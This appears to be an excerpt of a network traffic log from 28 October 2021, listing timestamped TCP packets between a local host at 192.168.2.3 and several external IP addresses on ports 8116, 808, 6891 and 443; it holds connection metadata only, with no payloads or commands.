Oct 28, 2021 05:05:38.937084913 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.937201023 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.937918901 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.990423918 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.990942001 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:38.991034985 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.991527081 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.995325089 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:38.995460987 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:39.048005104 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:39.048660994 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:39.217955112 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:39.218029976 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:39.218103886 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:39.218127966 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:39.220519066 CEST	50012	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:39.274343967 CEST	8116	50012	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:39.342453003 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.342492104 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.342566013 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.343169928 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.343187094 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.500255108 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.500334024 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.500401974 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.500444889 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.509141922 CEST	50011	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.509238005 CEST	443	50011	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.652898073 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.817174911 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:39.817908049 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.818814993 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.864160061 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.864660025 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.865459919 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.865473986 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.870640993 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.870661974 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.870763063 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:39.870774984 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:39.984253883 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:39.984288931 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:39.984381914 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.985130072 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.989371061 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:39.989398956 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.149524927 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.153918028 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.153965950 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.153984070 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.153999090 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.154016972 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.529530048 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.529551983 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.529620886 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.536163092 CEST	50014	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.578376055 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:40.578464031 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:40.578490019 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:40.578553915 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:40.578747988 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:40.578814030 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:40.582441092 CEST	50013	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:40.582465887 CEST	443	50013	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:40.652069092 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.700395107 CEST	808	50014	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.748774052 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.818881989 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:40.819034100 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.819740057 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.913562059 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:40.913748026 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.914489985 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:40.986073971 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:40.986172915 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:40.986289978 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.986829042 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.991086960 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:40.991241932 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.078829050 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.078883886 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.079037905 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.079618931 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.083915949 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.084059000 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.157398939 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.159415007 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.159447908 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.243853092 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.248738050 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.248775005 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.248790979 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.542558908 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.542579889 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.542665958 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.542841911 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.549375057 CEST	50015	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.632157087 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.632196903 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.632242918 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.632301092 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.635484934 CEST	50016	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:41.667869091 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.715689898 CEST	6891	50015	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.715714931 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.716325998 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.717447996 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.758985043 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.765223980 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.765599012 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.765695095 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.766262054 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.770356894 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.770473003 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:41.799850941 CEST	808	50016	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:41.818342924 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.819045067 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.858872890 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:41.925327063 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:41.925486088 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:41.926203012 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.017462969 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.017496109 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.017566919 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.017606974 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.024539948 CEST	50017	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.072530031 CEST	8116	50017	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.092477083 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.092601061 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.092679977 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.093235016 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.097317934 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.097444057 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.134812117 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.134864092 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.135011911 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.135739088 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.135760069 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.265362024 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.265384912 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.649476051 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.649504900 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.649596930 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.651196003 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.652389050 CEST	50018	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:42.652456999 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.653153896 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.653168917 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.658291101 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.658329010 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.658382893 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:42.658392906 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:42.781709909 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.821280003 CEST	6891	50018	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:42.843471050 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.843743086 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.844512939 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.905059099 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.905193090 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.905316114 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.905942917 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.910115957 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.910229921 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:42.971210003 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.971246004 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:42.971261024 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:43.168180943 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:43.168217897 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:43.168276072 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:43.168308020 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:43.171529055 CEST	50020	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:43.229979038 CEST	8116	50020	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:43.295666933 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.295705080 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.295789957 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.296761990 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.296777964 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.375170946 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.375251055 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.375289917 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.375319004 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.382360935 CEST	50019	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.382394075 CEST	443	50019	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.494005919 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.654098988 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.654352903 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.655133963 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.815004110 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.815088034 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.815249920 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.815907955 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.816046000 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.816131115 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.816839933 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.816859007 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.820447922 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.820601940 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:43.822294950 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.822318077 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.822453976 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:43.822463036 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:43.975903034 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.980324984 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.980339050 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.980360985 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.980443001 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:43.980482101 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.357628107 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.357650995 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.357759953 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.357803106 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.365653992 CEST	50022	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.488048077 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.525650024 CEST	808	50022	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.532512903 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:44.532582998 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:44.532598019 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:44.532628059 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:44.535845995 CEST	50021	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:44.535871983 CEST	443	50021	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:44.653639078 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.653738022 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.654428005 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.665802002 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.819900036 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.820365906 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.820456982 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.820947886 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.824774981 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.824915886 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:44.828167915 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.828269958 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.828901052 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.990303040 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.990328074 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.990369081 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:44.990900993 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.991136074 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:44.991199970 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.991698980 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.995502949 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:44.995604992 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:45.153641939 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.157471895 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.157499075 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.157509089 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.157520056 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.157531023 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.536782026 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.536806107 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.536883116 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:45.536911011 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:45.539597034 CEST	50025	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:45.659833908 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.659859896 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.661266088 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.661325932 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.668334007 CEST	50024	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.701419115 CEST	808	50025	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:45.826545000 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.826736927 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.827421904 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.833688021 CEST	6891	50024	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.836606979 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.891033888 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:45.891184092 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.891869068 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.946012974 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:45.947596073 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:45.947702885 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.948287964 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.952222109 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.952332973 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:45.992669106 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.992769003 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:45.992889881 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.993395090 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.997303963 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:45.997478008 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:46.006426096 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.006448030 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.007083893 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.162595987 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.162620068 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.162627935 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.175528049 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.175543070 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.177254915 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.185806990 CEST	50031	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.240082026 CEST	8116	50031	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.306709051 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.306787014 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.306898117 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.307545900 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.307584047 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.543880939 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.543905020 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.544063091 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:46.544102907 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:46.547548056 CEST	50030	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:46.670011997 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.712883949 CEST	6891	50030	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:46.722935915 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.723160982 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.723856926 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.776678085 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.776917934 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:46.777019978 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.777578115 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.781438112 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.781534910 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:46.790901899 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.791070938 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.791738033 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.791762114 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.796367884 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.796417952 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.796473026 CEST	50034	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:46.796489954 CEST	443	50034	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:46.834254980 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:47.006412029 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:47.006449938 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:47.006532907 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:47.006566048 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:47.009428024 CEST	50037	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:47.062051058 CEST	8116	50037	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:47.134727955 CEST	50039	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:47.134759903 CEST	443	50039	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:47.135075092 CEST	50039	443	192.168.2.3	192.46.210.220
